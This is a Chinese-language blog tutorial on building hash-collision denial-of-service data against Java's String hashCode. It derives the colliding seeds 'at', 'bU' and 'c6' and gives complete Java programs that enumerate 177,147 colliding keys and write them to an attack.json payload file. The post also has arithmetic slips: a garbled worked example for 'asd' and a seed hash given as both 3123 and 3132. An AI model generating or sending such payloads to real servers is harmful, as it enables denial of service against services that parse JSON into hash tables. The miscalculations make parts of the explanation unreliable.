java 如何生成Hash攻击数据?
上次我们讨论了如何进行Hash攻击,最重要步骤就是生成攻击数据。本文对如何生成攻击数据进行了研究。
参考:https://yq.aliyun.com/articles/93526
一、如何生成攻击数据
(1)解析hash算法
要找出hash值一致的key,首先要研究java中的hash算法。
因为攻击的key为String字符串,所以查看String.class中的hashcode()方法:
1 2 3 4 5 6 7 8 9 10 11 12 |
public int hashCode() { int h = hash; if (h == 0 && value.length > 0) { char val[] = value; for (int i = 0; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; } |
尝试使用此算法进行手工计算。
以字符串“asd”为例,val数组为[97 100 115],计算过程为((0 + 97)* 31 + (0 + 97)) * 31 + ((0 + 97)* 31 + (0 + 97)),结果为96882。
将此算法写成一个静态方法,查看hash的结果:
TestCreate.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
package com.test.testAttack; public class TestCrate { public static int makeHash(String string) { int h = 0; if (h == 0 && string.length() > 0) { char val[] = string.toCharArray(); for (int i = 0; i < string.length(); i++) { h = 31 * h + val[i]; } } return h; } public static void main(String[] args) { System.out.println(makeHash("asd")); System.out.println("asd".hashCode()); } } |
运行结果为:
1 2 |
96882 96882 |
显然,核心算法为:
1 |
h = 31 * h + val[i]; |
即F(n) = 31 * F(n-1) + str[i]。
(2)逆推hash算法
现在已知核心算法为F(n) = 31 * F(n-1) + str[i],将F(n-1)替换为x,将str[i]替换为y,可以得到这样的公式:F(n) = 31 * x + y。
其中,x和y均为字符,F(n)位hash值。我们不难找到这样的组合:
1 2 3 4 5 |
at = a*31 + t= 97*31 + 116 = 3123 bU = b*31 + U = 98*31 + 85 = 3123 c6 = c*31 + 6 = 99*31 + 54 = 3123 |
于是我们得到了三个“种子”,“at”、“bU”和“c6”(三者计算的hash值均为3132)。此三者的任意组合(当然字符串的长度要一致)的hash值均相等。
如果我们需要生成长度为22位的字符串(即11个种子的组合),推算将获得3^11 = 177 147 个key。
(3)获取所有组合
现在我们需要获获取这三个种子组成22位长度字符串的所有组合。
这个算法可能不太好想。于是先简化问题:“现有abc三个字符,列举这三个字符组成的长度为3的所有组合”。
我们尝试使用迭代来解决这个问题,解决方案如下:
TestPermutation.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
package com.test.testAttack; public class TestPermutation { public static void per(String[] buf, String[] seeds, int len, String string) { if (len == -1) { for (int i = buf.length - 1; i >= 0; --i) { string = string + buf[i]; } System.out.print(string + " "); return; } for (int i = 0; i < seeds.length; i++) { buf[len] = seeds[i]; per(buf, seeds, len - 1, string); } } public static void main(String[] args) { String[] seeds = { "a", "b", "c" }; String string = ""; per(new String[3], seeds, 3 - 1, string); } } |
运行结果为:
1 |
aaa aab aac aba abb abc aca acb acc baa bab bac bba bbb bbc bca bcb bcc caa cab cac cba cbb cbc cca ccb ccc |
成功列举了所有组合。获取种子的所有组合也是同理:
CreateAttackData.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
package com.test.testAttack; import java.util.HashMap; public class CreateAttackData { public static void per(String[] buf, String[] seeds, int len, String string , HashMap<String, Integer> hashMap) { if (len == -1) { for (int i = buf.length - 1; i >= 0; --i) { string = string + buf[i]; } hashMap.put(string, 0); return; } for (int i = 0; i < seeds.length; i++) { buf[len] = seeds[i]; per(buf, seeds, len - 1, string , hashMap); } } public static void main(String[] args) { String[] seeds = { "at", "bU", "c6" }; String string = ""; HashMap<String, Integer> hashMap = new HashMap<String, Integer>(); per(new String[11], seeds, 11 - 1, string , hashMap); System.out.println(hashMap.size()); } } |
运行结果为:
1 |
177147 |
正好为预计的key的数量。
这里有个问题:我使用了HashMap来装载所有攻击数据的键值对(为了方便使用jackson生成json),在Jdk 1.8中,因为HashMap使用红黑树进行了优化,所以不会遇到链表过长的问题。但是在jdk 1.8以下的版本,这种做法无异于对本机进行攻击,将造成cpu使用率飙升。所以低版本的jdk不适合运行此程序。
那么低版本的jdk怎么办?可以这样解决:使用List装载所有生成的key,然后写个循环拼接json。当然最简单的方式是换用其他(没有hash冲突的)语言写个脚本生成json。
(4)获取攻击数据(json)
CreateAttackData.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
package com.test.testAttack; import java.io.FileWriter; import java.io.IOException; import java.util.HashMap; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.databind.ObjectMapper; public class CreateAttackData { public static void per(String[] buf, String[] seeds, int len, String string, HashMap<String, Integer> hashMap) { if (len == -1) { for (int i = buf.length - 1; i >= 0; --i) { string = string + buf[i]; } hashMap.put(string, 0); return; } for (int i = 0; i < seeds.length; i++) { buf[len] = seeds[i]; per(buf, seeds, len - 1, string, hashMap); } } public static void main(String[] args) { String[] seeds = { "at", "bU", "c6" }; String string = ""; HashMap<String, Integer> hashMap = new HashMap<String, Integer>(); per(new String[11], seeds, 11 - 1, string, hashMap); System.out.println(hashMap.size()); ObjectMapper objectMapper = new ObjectMapper(); FileWriter fileWriter = null; try { String json = objectMapper.writeValueAsString(hashMap); fileWriter = new FileWriter("attack.json"); fileWriter.write(json); fileWriter.flush(); fileWriter.close(); } catch (JsonProcessingException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } } |
之后就能在项目文件下获取attack.json文件,里面就是可用于攻击的数据。
这里补充一个有意思的问题:我尝试使用bejson网站校验攻击数据(黏贴到文本框中),然后我的chrome就卡死了,只能关闭窗口,其他操作一律没有响应,推测是成功攻击了本机的js(cpu使用率50%左右,平时只有3%)。
我猜测bejson判断字符串是否为json的的js中应该有类似的代码:
1 2 |
//只需要一行代码就能看到效果 var jsonSrc = '这里输入json数据'; |
导致发生了hash攻击。但是,之后我查看了inore.js,没有发现类似的代码(或许只是字符串太长,js判断是否为json时耗费了大量资源而已?)。
二、总结
本来我想练习一下算法,结果尝试了半天都没写出来,感觉有点难受。但是解决问题的思路还可以,最终还是圆满解决了。